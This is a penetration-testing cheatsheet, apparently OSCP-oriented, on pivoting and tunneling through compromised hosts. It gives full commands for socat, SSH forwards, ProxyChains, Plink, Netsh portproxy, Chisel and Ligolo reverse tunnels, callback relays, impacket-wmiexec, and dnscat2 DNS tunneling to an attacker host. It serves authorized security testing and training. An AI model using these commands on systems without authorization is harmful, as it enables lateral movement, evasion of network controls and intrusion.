10.13 Pivoting and Tunneling Cheatsheet

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A usable pivot process/identity and explicit scope; both forward and return directions must be understood

APPLICATION TOOL
  -> local listener / SOCKS endpoint / TUN route
  -> tunnel transport endpoint
  -> pivot exit
  -> internal destination service

CALLBACK TARGET
  -> pivot listener or routable address
  -> relay/tunnel
  -> final listener

Record:

TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects

Do not use “pivot works” as a single state. Confirm these layers separately:

1. the tunnel process started;
2. its listener/transport connection exists;
3. the pivot can reach the intended destination socket;
4. the local route, forward or proxy points at the right exit;
5. the application actually uses that path;
6. name resolution and authentication match the application;
7. a callback, if required, has its own return path.

Linux:

id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf

Windows:

whoami /all
ipconfig /all
route print
arp -a
netstat -ano

PowerShell selected endpoints:

Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4

nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/

Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT

Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.

Kali/Linux:

ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'

Windows:

netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"

Record:

• exact process/command and version;
• bind address and port;
• transport direction and initiator;
• pivot and destination;
• routes/name mappings/configuration files added;
• simple TCP proof and final application proof;
• callback proof where applicable;
• cleanup command and result.

Stop tunnel processes and remove TUN routes, Ligolo listeners, temporary mappings, password files, Netsh rules and firewall exceptions after the authorized task.

Verify: Record source, pivot, destination, protocol, listener placement and required return path.

If it fails: Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

On a Linux pivot, expose one internal TCP service:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

Verify: Verify application behavior through the listener and keep the transport's destination explicit.

If it fails: A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Run on Kali when Kali can SSH to the pivot:

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Use the listener as though it were the internal service:

nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

Add reliability and attributable failure to transport-only sessions:

-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.

Verify: Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.

If it fails: Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly

ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.

Verify: Verify one application through the proxy, then check each client's actual proxy and DNS behavior.

If it fails: A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

Run on a pivot that can initiate an SSH connection back to Kali:

ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses:

nc -nvz 127.0.0.1 KALI_PORT

Verify: Verify listener placement/bind and actual destination application response.

If it fails: A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients

Run on the pivot:

ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

ssh -V
ss -lntp | grep 1080

If it fails: Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Direct SSH through an SSH pivot:

ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

SSH through an existing SOCKS5 endpoint with Ncat:

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

%h and %p are replaced with the destination host and port. Prefer this native proxy route when ProxyChains interposition is unreliable.

Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot

ssh internal
scp FILE internal:DESTINATION_PATH

Use a task-specific configuration rather than repeatedly editing a shared global file:

strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080

proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
  'DOMAIN/USER:PASSWORD@INTERNAL_HOST'

Constraints:

• ProxyChains hooks socket calls in dynamically linked programs; some static binaries, scripts, child processes or dynamically loaded modules bypass or break the hook.
• ProxyChains supports TCP only. It does not proxy UDP, ICMP, SYN scans or pcap-based discovery.
• For Nmap use -sT -Pn -n with a focused port list. Proxy scanning is slow and is not a replacement for discovery from the pivot.
• proxy_dns moves supported hostname resolution through the proxy, but application behavior varies. -n prevents Nmap's local reverse lookups.
• Prefer an application's native proxy option when available.

Native examples:

curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT

If it fails: Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets

sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

Through a previously established local forward to the SSH pivot:

sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

Verify: Verify the actual application path and ensure only assigned subnets are selected.

If it fails: Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths

10.13.15.1.19.1 Forward a selected TCP service from Windows Built-in OpenSSH client

where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.

10.13.15.1.19.2 Forward a selected TCP service from Windows Plink

Remote fixed forward from Windows to Kali:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

Local dynamic SOCKS on Windows:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

10.13.15.1.19.3 Forward a selected TCP service from Windows Netsh portproxy

Elevated Windows shell:

netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

If the existing firewall policy does not already allow the listener and a change is authorized:

netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

Cleanup:

netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

Verify: Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.

If it fails: Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

On Kali:

chisel server --reverse --port CHISEL_PORT

Record the server fingerprint. On the pivot:

chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.

10.13.15.1.22 Kali

# Kali
chisel server --reverse --port CHISEL_PORT

10.13.15.1.23 Pivot: expose an internal service on Kali loopback

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

chisel --version
chisel server --help
chisel client --help
ss -lntp

Verify: Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

If it fails: WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required

10.13.15.1.26 Pivot/server side

# Pivot/server side
chisel server --socks5 --port CHISEL_PORT

10.13.15.1.27 Kali/client side

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current upstream Chisel distinguishes:

socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE

# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

Verify: Verify the actual required transport end to end, with correct listener/exit placement.

If it fails: Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

10.13.15.1.29.1 Establish the Ligolo proxy-agent connection Proxy and agent

On Kali:

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint:

certificate_fingerprint

On the pivot:

./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

-ignore-cert is a controlled-lab/debug fallback, not the baseline.

10.13.15.1.29.2 Create the interface and selected route needed by the pivot Current managed interface and route

In the Ligolo console:

interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

Then use normal clients:

ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

10.13.15.1.29.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services

Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

10.13.15.1.29.4 Callback or file-server listener on the agent

In the selected Ligolo session:

listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener:

ncat -lvn 127.0.0.1 KALI_PORT

An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:

listener_stop LISTENER_ID

If it fails: Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

• Decide whether the application resolves the name locally, ProxyChains intercepts it, the SOCKS exit resolves it, or the pivot's configured resolver handles it.
• Use numeric addresses for route validation; then restore the confirmed hostname when the application protocol requires it.
• Kerberos needs an SPN-compatible hostname, realm/KDC route and correct time. A working IP connection does not prove Kerberos naming works.
• A temporary host mapping is acceptable only for a confirmed in-scope address/name pair and must be recorded.

getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST

The first command checks Kali's normal resolver. The curl form deliberately delegates the destination hostname through SOCKS. Do not assume a generic resolver utility will be intercepted by ProxyChains: NSS implementation and process behavior vary.

For Impacket, preserve the target hostname while routing to an IP when the tool supports it:

impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
  'DOMAIN/USER@TARGET_HOST'

If it fails: Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

A forward path and callback path are different graphs:

Kali -> tunnel -> internal service       # access path
internal target -> pivot -> Kali listener # callback path

Options:

1. make the callback directly to an address the internal host already reaches;
2. expose a listener on the pivot and relay it to Kali;
3. use a Ligolo agent listener or SSH/Chisel remote forward;
4. choose a non-callback technique such as authenticated remote execution.

Fixed SSH callback relay, run from the pivot:

ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
  KALI_USER@LHOST -o ExitOnForwardFailure=yes

This creates the listener on the SSH client/pivot and makes the destination connection from Kali's SSH server to Kali loopback. -g permits other hosts to use the pivot-side local forward. Verify the actual bind with ss; do not infer it from command syntax.

Also route payload delivery separately. An internal host may reach the pivot but not Kali's HTTP server; relay the delivery service or serve from the pivot when justified.

Verify: Verify the target-initiated connection from its source context and the final session or downloaded bytes.

If it fails: Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

For every additional hop, write another complete segment:

Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT

Rules:

• validate one hop before adding the next;
• avoid overlapping local/VPN/internal routes;
• use unique listener and SOCKS ports;
• record which session owns each route;
• ensure the deeper agent/client can reach the upstream listener;
• re-evaluate DNS and callback direction at every hop;
• prefer a routed method for several deep services instead of stacking many opaque wrappers.

An upstream tunnel failure invalidates every deeper observation. Do not troubleshoot target credentials until the complete path is restored.

Verify: Validate each hop with an application-aware test before chaining the final client.

If it fails: Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

• command execution sufficient to run a compatible client;
• either authoritative control/NS delegation for TUNNEL_DOMAIN or direct UDP/53 reachability to the server;
• a resolver chain that forwards the chosen domain externally;
• permission to bind/listen on the required DNS port;
• tolerance for low throughput and conspicuous DNS patterns.

Authoritative-domain mode:

dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

Client:

./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

Direct DNS-server mode shown by the server's own usage output:

./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console:

windows
window -i SESSION_ID
help

Verify: Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

If it fails: No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.